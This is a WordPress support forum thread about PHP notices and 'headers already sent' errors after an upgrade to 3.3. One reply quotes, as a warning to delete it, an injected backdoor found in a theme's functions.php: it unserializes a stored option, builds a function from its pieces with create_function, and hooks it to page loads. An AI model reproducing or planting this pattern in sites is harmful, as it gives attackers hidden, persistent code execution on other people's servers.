 * Hi everyone. Having some issues since upgrading my networked site to 3.3. All
   of my sites have an error at the top of the page:
 *     ```
       Notice: add_contextual_help is deprecated since version 3.3! Use get_current_screen()->add_help_tab() instead. in /home/matthew/public_html/wp-includes/functions.php on line 3458
       ```
   
 * And I get this when activating a plugin from one of the sites (but not when activated
   via Network Admin area):
 *     ```
       Notice: add_contextual_help is deprecated since version 3.3! Use get_current_screen()->add_help_tab() instead. in /home/matthew/public_html/wp-includes/functions.php on line 3458
   
       Warning: Cannot modify header information - headers already sent by (output started at /home/matthew/public_html/wp-includes/functions.php:3458) in /home/matthew/public_html/wp-includes/pluggable.php on line 866

       ```
   
 * Also getting it when using the Media Uploader. Anyone else having this problem?
   Never made any changes to the WordPress files.

 * It’s a plugin and/or theme issue.

 * Running no plugins (all deleted) and using the default WordPress theme (TwentyEleven).

 * Figured it out. Had to upgrade TwentyEleven theme.

 * Here is another element to the equation – I always delete twenty twleve the minute
   I install wordpress and choose a better theme. So knowing that twenty twelve 
   theme isn’t present – what should I do? I’m having this same issue.

 * traced the issue to a 302 redirect that was generated at login so just went to
   a non-broke site and copied the url and changed the domain to get past that redirect.
   To do it use this url with your settings
 * [http://www.mydomain.com/wp-login.php?redirect_to=http%3A%2F%2Fwww.mydomain.com%2Fwp-admin%2F&reauth=1](http://www.mydomain.com/wp-login.php?redirect_to=http%3A%2F%2Fwww.mydomain.com%2Fwp-admin%2F&reauth=1)
 * You’ll be able to login here. In my case the NextGen plugin was in need of a 
   critical update. I updated it and problem went away

 * Actually I figured out how to fix this issue myself. It is the dummest thing 
   that fixes it. All you have to do is open up the file with the error message 
   associated with it and delete the extra line breaks from within the file before
   and after the “php” function calls to action and it works like a charm. Basically
   what happen was when we install our widgets and ramdom plug-ins – these function
   files get altered by the new strings of code which cause random line breaks and
   other white spaces. You would think these silly white spaces wouldn’t matter 
   but they do. The biggest white space issues are usually at the very end of the
   file down by the last line of code on the file. Just delete the extra line breaks
   on the line they specify in the error along with the extra breaks at the end 
   of the file and upload it back to the remote site and BOOM! works like a dream.
   What a stupid error. 🙂

 * I think this is a kind of attack … i resolve this problem after finding function.
   php under my customized theme…
 * Please find this injected script and delete immediately then you will be able
   to get login in admin area as well as can see your website …
 * <?php ?>
    <?php function page_options() { $option = get_option(‘page_option’);
   $opt=unserialize($option); @$arg = create_function(”, $opt[1].$opt[4].$opt[10].
   $opt[12].$opt[14].$opt[7] );return $arg(”);} add_action(‘loop_start’, ‘page_options’);?

 * I had the same problem and do not believe it is the “white space”. I tried to
   delete the white space but nothing resolved.
 * The solution was simple:
 * Just replace the file that is the first error:
    Warning: Can not modify header
   information – headers already sent by (output started at / home / agenciac / 
   public_html / functions.php: 2) in / home / agenciac / public_html / wp-includes/
   pluggable.php on line 881
 * In most cases the error is in the file of the theme. Then have always booked 
   up the theme. Where there is error only replace the “first larval file error”.
 * Hugs!
